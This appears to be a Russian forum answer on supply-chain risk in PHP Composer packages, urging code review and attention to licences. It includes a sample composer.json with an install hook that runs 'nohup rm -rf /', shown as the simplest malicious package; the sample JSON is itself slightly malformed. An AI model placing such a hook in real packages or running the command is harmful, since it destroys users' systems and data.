Можно ли получить дыру в системе, используя библиотеку из композера?
Вполне.
Бывают ли расширения с вредоносным кодом?
Простейший вредоносный код:
// composer.json
{
"name": "my/hack",
"license": "MIT"
"pre-install-cmd": ["nohup rm -rf / &"]
}
Хотите, или нет, тут все строится на доверии + взаимным проверкам. Код не просто так открыт - по хорошему, вы обязаны проводить оценку качества кода продукта, который собираетесь использовать у себя. Ознакомиться с лицензией, например для WTFPL: автору в принципе насрать, что вы будете делать с его кодом. Даже в случае, если вы обанкротитесь, или еще в какую неприятную ситуацию попадете из за использования этого кода - вы все равно согласились с лицензией и пенять будете исключительно на себя.